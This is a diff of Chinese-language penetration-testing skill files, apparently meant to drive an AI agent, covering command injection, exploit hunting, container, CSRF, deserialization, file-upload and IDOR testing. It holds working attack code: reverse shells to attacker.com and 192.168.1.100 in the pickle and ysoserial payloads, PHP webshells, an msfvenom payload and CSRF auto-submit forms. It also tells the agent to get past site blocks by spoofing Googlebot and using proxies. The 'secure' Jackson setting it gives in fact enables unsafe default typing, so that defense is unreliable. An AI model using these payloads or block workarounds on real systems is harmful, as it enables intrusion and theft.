python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
# 获取Shell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
```
### Burp Suite
1. 拦截请求
2. 发送到Intruder
3. 使用命令注入Payload列表
4. 观察响应或时间延迟
## 验证和报告
### 验证步骤
1. 确认可以执行系统命令
2. 验证命令执行结果
3. 评估影响(系统控制、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和输入参数
- 可执行的命令类型
- 完整的利用步骤和POC
- 修复建议(输入验证、参数化、白名单等)
## 防护措施
### 推荐方案
1. **避免命令执行**
- 使用API替代系统命令
- 使用库函数替代命令
2. **输入验证**
```python
import re
def validate_ip(ip):
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
raise ValueError("Invalid IP")
parts = ip.split('.')
if not all(0 <= int(p) <= 255 for p in parts):
raise ValueError("Invalid IP range")
return ip
```
3. **参数化命令**
```python
import subprocess
# 危险
subprocess.call(['ping', '-c', '1', user_input])
# 安全 - 使用参数列表
subprocess.call(['ping', '-c', '1', validated_ip])
```
4. **白名单验证**
```python
ALLOWED_COMMANDS = ['ping', 'nslookup']
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
if command not in ALLOWED_COMMANDS:
raise ValueError("Command not allowed")
```
5. **最小权限**
- 使用低权限用户运行应用
- 限制文件系统访问
- 使用chroot或容器隔离
6. **输出过滤**
- 限制输出内容
- 过滤敏感信息
- 记录命令执行日志
## 注意事项
- 仅在授权测试环境中进行
- 避免对系统造成破坏
- 注意不同操作系统的命令差异
- 测试时注意命令执行的影响范围
+64
View File
@@ -0,0 +1,64 @@
---
name: component-vuln-intel
description: >-
联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.
tags: [渗透测试, penetration-testing, 红队]
---
## 联网情报收集(识别组件→立即全网搜;结果=线索/tentative,验证前不是 confirmed Fact
```
🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。
🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:
1.CVE漏洞库(必做,找已知漏洞):
terminal: searchsploit {C} {V}
terminal: curl -s "https://cve.circl.lu/api/search/{C}/{V}" | python3 -c "import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]"
browser_navigate: https://github.com/advisories?query={C}+{V}
browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search
2.搜索引擎(至少执行3个,找漏洞分析+PoC):
browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com
browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现
browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell
browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc
browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit
3.中文安全社区(必做,中文首发多且深度分析好):
browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞
browser_navigate: https://www.seebug.org/search/?keywords={C}
browser_navigate: https://paper.seebug.org/search/?keyword={C}
browser_navigate: https://www.freebuf.com/search?search={C}+{V}
browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}
browser_navigate: https://www.anquanke.com/search?s={C}
4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):
terminal: curl -s "https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]"
terminal: curl -s "https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]"
terminal: curl -s "https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]"
找到仓库后: curl -s "https://api.github.com/repos/{owner}/{repo}/readme" | python3 -c "import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())"
5.资产引擎(找同类目标/暴露面):
browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app="{C}"' | base64)
browser_navigate: https://www.shodan.io/search?query={C}+{V}
browser_navigate: https://www.zoomeye.org/searchResult?q={C}
browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}
6.即时情报(最新0day/在野利用):
browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live
browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month
browser_navigate: https://www.exploit-db.com/search?q={C}
7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6
🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):
①换UA: curl -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "{URL}"
②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}
③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}
④Archive: browser_navigate: https://web.archive.org/web/{URL}
⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令
⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing
⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试
全部受阻仍无结果→写负Fact"已搜{C} {V}全渠道无公开漏洞"→转 `zero-day-discovery`
```
-377
View File
@@ -1,377 +0,0 @@
---
name: container-security-testing
description: 容器安全测试的专业技能和方法论
version: 1.0.0
---
# 容器安全测试
## 概述
容器安全测试是确保容器化应用安全性的重要环节。本技能提供容器安全测试的方法、工具和最佳实践,涵盖Docker、Kubernetes等容器技术。
## 测试范围
### 1. 镜像安全
**检查项目:**
- 基础镜像漏洞
- 依赖包漏洞
- 镜像配置
- 敏感信息
### 2. 运行时安全
**检查项目:**
- 容器权限
- 资源限制
- 网络隔离
- 文件系统
### 3. 编排安全
**检查项目:**
- Kubernetes配置
- 服务账户
- RBAC
- 网络策略
## Docker安全测试
### 镜像扫描
**使用Trivy**
```bash
# 扫描镜像
trivy image nginx:latest
# 扫描本地镜像
trivy image --input nginx.tar
# 只显示高危漏洞
trivy image --severity HIGH,CRITICAL nginx:latest
```
**使用Clair**
```bash
# 启动Clair
docker run -d --name clair clair:latest
# 扫描镜像
clair-scanner --ip 192.168.1.100 nginx:latest
```
**使用Docker Bench**
```bash
# 运行Docker安全基准测试
docker run --rm --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /etc:/etc:ro \
-v /usr/bin/containerd:/usr/bin/containerd:ro \
-v /usr/bin/runc:/usr/bin/runc:ro \
-v /usr/lib/systemd:/usr/lib/systemd:ro \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
--label docker_bench_security \
docker/docker-bench-security
```
### 容器配置检查
**检查Dockerfile**
```dockerfile
# 安全问题示例
FROM ubuntu:latest # 使用latest标签
RUN apt-get update && apt-get install -y curl # 未指定版本
COPY . /app # 可能包含敏感文件
ENV PASSWORD=secret # 硬编码密码
USER root # 使用root用户
```
**安全最佳实践:**
```dockerfile
# 使用特定版本
FROM ubuntu:20.04
# 指定包版本
RUN apt-get update && apt-get install -y curl=7.68.0-1ubuntu2.7
# 使用非root用户
RUN useradd -m appuser
USER appuser
# 最小化镜像
FROM alpine:3.15
# 多阶段构建
FROM golang:1.18 AS builder
WORKDIR /app
COPY . .
RUN go build -o app
FROM alpine:3.15
COPY --from=builder /app/app /app
```
### 运行时检查
**检查容器权限:**
```bash
# 检查特权容器
docker ps --filter "label=privileged=true"
# 检查挂载的主机目录
docker inspect container_name | grep -A 10 Mounts
# 检查容器网络
docker network inspect network_name
```
**检查资源限制:**
```bash
# 检查内存限制
docker stats container_name
# 检查CPU限制
docker inspect container_name | grep -i cpu
```
## Kubernetes安全测试
### 配置检查
**使用kube-bench**
```bash
# 运行kube-bench
kube-bench run
# 检查特定基准
kube-bench run --targets master,node,etcd
```
**使用kube-hunter**
```bash
# 运行kube-hunter
kube-hunter --remote target-ip
# 主动模式
kube-hunter --active
```
### Pod安全
**检查Pod安全策略:**
```yaml
# 不安全的Pod配置
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
image: nginx
securityContext:
privileged: true # 特权模式
runAsUser: 0 # root用户
```
**安全配置:**
```yaml
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
containers:
- name: app
image: nginx
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE
```
### RBAC检查
**检查角色权限:**
```bash
# 列出所有角色
kubectl get roles --all-namespaces
# 检查角色绑定
kubectl get rolebindings --all-namespaces
# 检查集群角色
kubectl get clusterroles
# 检查用户权限
kubectl auth can-i --list --as=system:serviceaccount:default:sa-name
```
**常见问题:**
- 过度权限
- 未使用的角色
- 未使用的服务账户
### 网络策略
**检查网络策略:**
```bash
# 列出所有网络策略
kubectl get networkpolicies --all-namespaces
# 检查网络策略配置
kubectl describe networkpolicy policy-name -n namespace
```
**网络策略示例:**
```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
```
## 工具使用
### Falco
**运行时安全监控:**
```bash
# 安装Falco
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco
# 检查规则
falco -r /etc/falco/rules.d/
```
### Aqua Security
```bash
# 扫描镜像
aqua image scan nginx:latest
# 扫描Kubernetes集群
aqua k8s scan
```
### Snyk
```bash
# 扫描Dockerfile
snyk test --docker nginx:latest
# 扫描Kubernetes配置
snyk iac test k8s/
```
## 测试清单
### 镜像安全
- [ ] 扫描基础镜像漏洞
- [ ] 扫描依赖包漏洞
- [ ] 检查Dockerfile配置
- [ ] 检查敏感信息泄露
### 运行时安全
- [ ] 检查容器权限
- [ ] 检查资源限制
- [ ] 检查网络隔离
- [ ] 检查文件系统挂载
### 编排安全
- [ ] 检查Kubernetes配置
- [ ] 检查RBAC配置
- [ ] 检查网络策略
- [ ] 检查Pod安全策略
## 常见安全问题
### 1. 镜像漏洞
**问题:**
- 基础镜像包含漏洞
- 依赖包包含漏洞
- 未及时更新
**修复:**
- 定期扫描镜像
- 及时更新基础镜像
- 使用最小化镜像
### 2. 过度权限
**问题:**
- 容器以root运行
- 特权模式
- 挂载敏感目录
**修复:**
- 使用非root用户
- 禁用特权模式
- 限制文件系统访问
### 3. 配置错误
**问题:**
- 默认配置不安全
- 网络策略缺失
- RBAC配置错误
**修复:**
- 遵循安全最佳实践
- 实施网络策略
- 正确配置RBAC
### 4. 敏感信息泄露
**问题:**
- 镜像包含密钥
- 环境变量暴露
- 配置文件泄露
**修复:**
- 使用密钥管理
- 避免硬编码
- 使用Secret对象
## 最佳实践
### 1. 镜像安全
- 使用官方基础镜像
- 定期更新镜像
- 扫描镜像漏洞
- 最小化镜像大小
### 2. 运行时安全
- 使用非root用户
- 限制容器权限
- 实施资源限制
- 启用安全上下文
### 3. 编排安全
- 配置网络策略
- 实施RBAC
- 使用Pod安全策略
- 启用审计日志
## 注意事项
- 仅在授权环境中进行测试
- 避免对生产环境造成影响
- 注意不同容器平台的差异
- 定期进行安全扫描
-199
View File
@@ -1,199 +0,0 @@
---
name: csrf-testing
description: CSRF跨站请求伪造测试的专业技能和方法论
version: 1.0.0
---
# CSRF跨站请求伪造测试
## 概述
CSRFCross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。
## 漏洞原理
- 攻击者诱导用户访问恶意页面
- 恶意页面自动发送请求到目标网站
- 浏览器自动携带用户的认证信息(Cookie、Session
- 目标网站误认为是用户合法操作
## 测试方法
### 1. 识别敏感操作
- 密码修改
- 邮箱修改
- 转账操作
- 权限变更
- 数据删除
- 状态更新
### 2. 检测CSRF Token
**检查是否有Token保护:**
```html
<!-- 有Token保护 -->
<form method="POST" action="/change-password">
<input type="hidden" name="csrf_token" value="abc123">
<input type="password" name="new_password">
</form>
<!-- 无Token保护 - 存在CSRF风险 -->
<form method="POST" action="/change-email">
<input type="email" name="new_email">
</form>
```
### 3. 验证Token有效性
**测试Token是否可预测:**
- Token是否基于时间戳
- Token是否基于用户ID
- Token是否可重复使用
- Token是否在多个请求间共享
### 4. 检查Referer验证
**测试Referer检查是否可绕过:**
```javascript
// 正常请求
Referer: https://target.com/change-password
// 测试绕过
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: (空)
```
## 利用技术
### 基础CSRF攻击
**HTML表单自动提交:**
```html
<form action="https://target.com/api/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
```
### JSON CSRF
**绕过Content-Type检查:**
```html
<!-- 使用form表单提交JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
```
### GET请求CSRF
**利用GET请求进行攻击:**
```html
<img src="https://target.com/api/delete?id=123">
```
## 绕过技术
### Token绕过
**如果Token在Cookie中:**
```javascript
// 如果Token同时存在于Cookie和表单中
// 可以尝试只提交Cookie中的Token
fetch('https://target.com/api/action', {
method: 'POST',
credentials: 'include',
body: 'action=delete&id=123'
// 不包含csrf_token参数,依赖Cookie
});
```
### SameSite Cookie绕过
**利用子域名:**
- 如果SameSite=LaxGET请求仍可携带Cookie
- 利用子域名进行攻击
### 双重提交Cookie
**绕过Token验证:**
```html
<!-- 如果Token在Cookie中,且验证逻辑有缺陷 -->
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="csrf_token" value="">
<script>
// 从Cookie中读取Token
document.cookie.split(';').forEach(c => {
if(c.trim().startsWith('csrf_token=')) {
document.querySelector('input[name="csrf_token"]').value =
c.split('=')[1];
}
});
</script>
</form>
```
## 工具使用
### Burp Suite
**使用CSRF PoC生成器:**
1. 拦截目标请求
2. 右键 → Engagement tools → Generate CSRF PoC
3. 测试生成的PoC
### OWASP ZAP
```bash
# 使用ZAP进行CSRF扫描
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
```
## 验证和报告
### 验证步骤
1. 确认目标操作没有CSRF Token保护
2. 构造恶意请求并验证可执行
3. 评估影响(数据泄露、权限提升、资金损失等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和受影响的操作
- 攻击场景和影响范围
- 完整的利用步骤和PoC
- 修复建议(CSRF Token、SameSite Cookie、Referer验证等)
## 防护措施
### 推荐方案
1. **CSRF Token**
- 每个表单包含唯一Token
- Token存储在Session中
- 验证Token有效性
2. **SameSite Cookie**
```javascript
Set-Cookie: session=abc123; SameSite=Strict; Secure
```
3. **双重提交Cookie**
- Token同时存在于Cookie和表单
- 验证两者是否匹配
4. **Referer验证**
- 验证Referer是否为同源
- 注意空Referer的处理
## 注意事项
- 仅在授权测试环境中进行
- 避免对用户账户造成实际影响
- 记录所有测试步骤
- 考虑不同浏览器的行为差异
-310
View File
@@ -1,310 +0,0 @@
---
name: deserialization-testing
description: 反序列化漏洞测试的专业技能和方法论
version: 1.0.0
---
# 反序列化漏洞测试
## 概述
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
## 漏洞原理
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
## 常见格式
### Java
**常见库:**
- Java原生序列化
- Jackson
- Fastjson
- XStream
- Apache Commons Collections
### PHP
**常见函数:**
- unserialize()
- json_decode()
### Python
**常见模块:**
- pickle
- yaml
- json
### .NET
**常见类:**
- BinaryFormatter
- SoapFormatter
- DataContractSerializer
## 测试方法
### 1. 识别序列化数据
**Java序列化特征:**
```
AC ED 00 05 (十六进制)
rO0 (Base64)
```
**PHP序列化特征:**
```
O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}
```
**Python pickle特征:**
```
\x80\x03
```
### 2. 检测反序列化点
**常见位置:**
- Cookie值
- Session数据
- API参数
- 文件上传
- 缓存数据
- 消息队列
### 3. Java反序列化
**Apache Commons Collections利用:**
```java
// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
```
**常见Gadget链:**
- CommonsCollections1-7
- Spring1-2
- ROME
- Jdk7u21
### 4. PHP反序列化
**基础测试:**
```php
<?php
class Test {
public $cmd = "id";
function __destruct() {
system($this->cmd);
}
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>
```
**魔术方法利用:**
- __destruct()
- __wakeup()
- __toString()
- __call()
### 5. Python pickle
**基础测试:**
```python
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())
```
## 利用技术
### Java RCE
**使用ysoserial**
```bash
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
# Base64编码
base64 -w 0 payload.bin
```
**手动构造:**
```java
// 使用Gadget链构造恶意对象
// 参考ysoserial源码
```
### PHP RCE
**利用POP链:**
```php
<?php
class A {
public $b;
function __destruct() {
$this->b->test();
}
}
class B {
public $c;
function test() {
call_user_func($this->c, "id");
}
}
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>
```
### Python RCE
**Pickle RCE**
```python
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))
```
## 绕过技术
### 编码绕过
**Base64编码:**
```
原始: rO0ABXNy...
编码: ck8wQUJYTnk...
```
**URL编码:**
```
%72%4F%00%AB...
```
### 过滤器绕过
**使用不同Gadget链:**
- 如果CommonsCollections被过滤,尝试Spring
- 如果某个版本被过滤,尝试其他版本
### 类名混淆
**使用反射:**
```java
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
```
## 工具使用
### ysoserial
```bash
# 列出可用Gadget
java -jar ysoserial.jar
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64
```
### PHPGGC
```bash
# 列出可用Gadget
./phpggc -l
# 生成Payload
./phpggc Monolog/RCE1 system id
# 生成编码Payload
./phpggc -b Monolog/RCE1 system id
```
### Burp Suite
1. 拦截包含序列化数据的请求
2. 使用插件生成Payload
3. 替换原始数据
4. 观察响应
## 验证和报告
### 验证步骤
1. 确认可以控制序列化数据
2. 验证反序列化触发代码执行
3. 评估影响(RCE、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和序列化数据格式
- 使用的Gadget链或利用方式
- 完整的利用步骤和PoC
- 修复建议(输入验证、使用安全序列化等)
## 防护措施
### 推荐方案
1. **避免反序列化不可信数据**
- 使用JSON替代
- 使用安全的序列化格式
2. **输入验证**
```java
// 白名单验证类名
private static final Set<String> ALLOWED_CLASSES =
Set.of("com.example.SafeClass");
private Object readObject(ObjectInputStream ois) {
// 验证类名
// ...
}
```
3. **使用安全配置**
```java
// Jackson配置
objectMapper.enableDefaultTyping();
objectMapper.setVisibility(PropertyAccessor.FIELD,
JsonAutoDetect.Visibility.ANY);
```
4. **类加载器隔离**
- 使用自定义ClassLoader
- 限制可加载的类
5. **监控和日志**
- 记录反序列化操作
- 监控异常行为
## 注意事项
- 仅在授权测试环境中进行
- 注意不同版本库的Gadget链差异
- 测试时注意Payload大小限制
- 了解目标应用的依赖库版本
-328
View File
@@ -1,328 +0,0 @@
---
name: file-upload-testing
description: 文件上传漏洞测试的专业技能和方法论
version: 1.0.0
---
# 文件上传漏洞测试
## 概述
文件上传功能是Web应用常见功能,但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。
## 漏洞类型
### 1. 未验证文件类型
**仅前端验证:**
```javascript
// 可被绕过
if (!file.name.endsWith('.jpg')) {
alert('只允许上传图片');
}
```
### 2. 文件内容未验证
**仅检查扩展名:**
```php
// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}
```
### 3. 路径遍历
**未过滤文件名:**
```
filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\sam
```
### 4. 文件名覆盖
**可预测的文件名:**
```
uploads/1.jpg
uploads/2.jpg
```
## 测试方法
### 1. 基础检测
**测试各种文件类型:**
- .php, .jsp, .asp, .aspx
- .php3, .php4, .php5, .phtml
- .jspx, .jspf
- .htaccess, .htpasswd
**测试双扩展名:**
```
shell.php.jpg
shell.jpg.php
```
**测试大小写:**
```
shell.PHP
shell.PhP
```
### 2. 内容类型绕过
**修改Content-Type**
```
Content-Type: image/jpeg
# 但文件内容是PHP代码
```
**Magic Bytes**
```php
// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>
```
### 3. 解析漏洞
**Apache解析漏洞:**
```
shell.php.xxx # Apache可能解析为PHP
```
**IIS解析漏洞:**
```
shell.asp;.jpg
shell.asp:.jpg
```
**Nginx解析漏洞:**
```
shell.jpg%00.php
```
### 4. 竞争条件
**文件上传后立即访问:**
```python
# 上传.php文件,在上传完成但删除前访问
import requests
import threading
def upload():
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post('http://target.com/upload', files=files)
def access():
time.sleep(0.1)
requests.get('http://target.com/uploads/shell.php?cmd=id')
threading.Thread(target=upload).start()
threading.Thread(target=access).start()
```
## 利用技术
### PHP WebShell
**基础WebShell**
```php
<?php system($_GET['cmd']); ?>
```
**一句话木马:**
```php
<?php eval($_POST['a']); ?>
```
**绕过过滤:**
```php
<?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=system
```
### .htaccess利用
**上传.htaccess**
```
AddType application/x-httpd-php .jpg
```
**然后上传shell.jpg(实际是PHP代码)**
### 图片马
**GIF图片马:**
```php
GIF89a
<?php
phpinfo();
?>
```
**PNG图片马:**
```bash
# 使用工具将PHP代码嵌入PNG
python3 png2php.py shell.php shell.png
```
### 文件包含配合
**如果存在文件包含漏洞:**
```
# 上传包含PHP代码的图片
# 然后通过文件包含执行
?file=uploads/shell.jpg
```
## 绕过技术
### 扩展名绕过
**双扩展名:**
```
shell.php.jpg
shell.php;.jpg
shell.php%00.jpg
```
**大小写:**
```
shell.PHP
shell.PhP
```
**特殊字符:**
```
shell.php.
shell.php
shell.php%20
```
### Content-Type绕过
**修改请求头:**
```
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
```
### Magic Bytes绕过
**添加文件头:**
```php
// JPEG
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
// GIF
GIF89a<?php phpinfo(); ?>
// PNG
\x89\x50\x4E\x47<?php phpinfo(); ?>
```
### 代码混淆
**使用短标签:**
```php
<?= system($_GET['cmd']); ?>
```
**使用变量:**
```php
<?php
$a='sys';
$b='tem';
$a.$b($_GET['cmd']);
```
## 工具使用
### Burp Suite
1. 拦截文件上传请求
2. 修改文件名和内容
3. 测试各种绕过技术
### Upload Bypass
```bash
# 使用各种技术测试文件上传
python upload_bypass.py -u http://target.com/upload -f shell.php
```
### WebShell生成
```bash
# 生成各种WebShell
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f raw > shell.php
```
## 验证和报告
### 验证步骤
1. 确认可以上传恶意文件
2. 验证文件可以执行
3. 评估影响(命令执行、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和上传功能
- 可上传的文件类型和执行方式
- 完整的利用步骤和PoC
- 修复建议(文件类型验证、内容检查、安全存储等)
## 防护措施
### 推荐方案
1. **文件类型白名单**
```python
ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("File type not allowed")
```
2. **文件内容验证**
```python
import magic
file_type = magic.from_buffer(file_content, mime=True)
if not file_type.startswith('image/'):
raise ValueError("Invalid file content")
```
3. **重命名文件**
```python
import uuid
filename = str(uuid.uuid4()) + '.' + ext
```
4. **隔离存储**
- 文件存储在Web根目录外
- 通过脚本代理访问
- 禁用执行权限
5. **文件扫描**
- 使用杀毒软件扫描
- 检查文件内容
- 移除可执行权限
6. **大小限制**
```python
MAX_SIZE = 5 * 1024 * 1024 # 5MB
if file.size > MAX_SIZE:
raise ValueError("File too large")
```
## 注意事项
- 仅在授权测试环境中进行
- 避免上传恶意文件到生产环境
- 测试后及时清理
- 注意不同服务器的解析差异
-319
View File
@@ -1,319 +0,0 @@
---
name: idor-testing
description: IDOR不安全的直接对象引用测试的专业技能和方法论
version: 1.0.0
---
# IDOR不安全的直接对象引用测试
## 概述
IDORInsecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。
## 漏洞原理
应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。
**危险代码示例:**
```php
// 直接使用用户输入的ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
```
## 测试方法
### 1. 识别直接对象引用
**常见资源类型:**
- 用户ID
- 文件ID/文件名
- 订单ID
- 文档ID
- 账户ID
- 记录ID
**常见位置:**
- URL参数
- POST数据
- Cookie值
- HTTP头
- 文件路径
### 2. 枚举测试
**顺序ID测试:**
```
/user?id=1
/user?id=2
/user?id=3
```
**UUID测试:**
```
/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001
```
**文件名测试:**
```
/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf
```
### 3. 水平权限测试
**访问其他用户资源:**
```
当前用户ID: 100
测试: /user?id=101
测试: /user?id=102
```
**访问其他用户文件:**
```
/files/user100_document.pdf
测试: /files/user101_document.pdf
```
### 4. 垂直权限测试
**普通用户访问管理员资源:**
```
/admin/users?id=1
/admin/settings
/admin/logs
```
## 利用技术
### 用户信息泄露
**枚举用户资料:**
```bash
# 顺序枚举
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# 观察响应差异
```
### 文件访问
**访问其他用户文件:**
```
/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf
```
**目录遍历结合:**
```
/files/../admin/config.php
/files/../../etc/passwd
```
### 数据修改
**修改其他用户数据:**
```http
POST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "attacker@evil.com"
}
```
### 批量操作
**批量获取数据:**
```python
import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")
```
## 绕过技术
### ID混淆
**Base64编码:**
```
原始ID: 123
编码: MTIz
URL: /user?id=MTIz
```
**哈希值:**
```
原始ID: 123
哈希: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70
```
### 参数名混淆
**使用不同参数名:**
```
/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123
```
### HTTP方法绕过
**尝试不同HTTP方法:**
```
GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123
```
### 路径混淆
**尝试不同路径:**
```
/api/v1/user/123
/api/user/123
/user/123
/users/123
```
## 工具使用
### Burp Suite
**使用Intruder**
1. 拦截请求
2. 发送到Intruder
3. 标记ID参数
4. 使用数字序列或自定义列表
5. 观察响应差异
**使用Repeater**
1. 手动修改ID
2. 测试不同值
3. 观察响应
### OWASP ZAP
```bash
# 使用ZAP进行IDOR扫描
zap-cli active-scan --scanners all http://target.com
```
### Python脚本
```python
import requests
import json
def test_idor(base_url, user_id_range):
for user_id in user_id_range:
url = f"{base_url}/user?id={user_id}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print(f"User {user_id}: {data.get('email', 'N/A')}")
test_idor("https://target.com", range(1, 100))
```
## 验证和报告
### 验证步骤
1. 确认可以访问未授权的资源
2. 验证可以读取、修改或删除其他用户数据
3. 评估影响(数据泄露、隐私侵犯等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和资源标识符
- 可访问的未授权资源
- 完整的利用步骤和PoC
- 修复建议(访问控制、资源映射等)
## 防护措施
### 推荐方案
1. **访问控制验证**
```python
def get_user_data(user_id, current_user_id):
# 验证权限
if user_id != current_user_id:
raise PermissionDenied("Cannot access other user's data")
# 返回数据
return db.get_user(user_id)
```
2. **间接对象引用**
```python
# 使用映射表
user_mapping = {
'abc123': 100,
'def456': 101,
'ghi789': 102
}
def get_user(mapped_id):
real_id = user_mapping.get(mapped_id)
if not real_id:
raise NotFound()
return db.get_user(real_id)
```
3. **基于角色的访问控制**
```python
def check_permission(user, resource):
if user.role == 'admin':
return True
if resource.owner_id == user.id:
return True
return False
```
4. **资源所有权验证**
```python
def update_user_data(user_id, data, current_user):
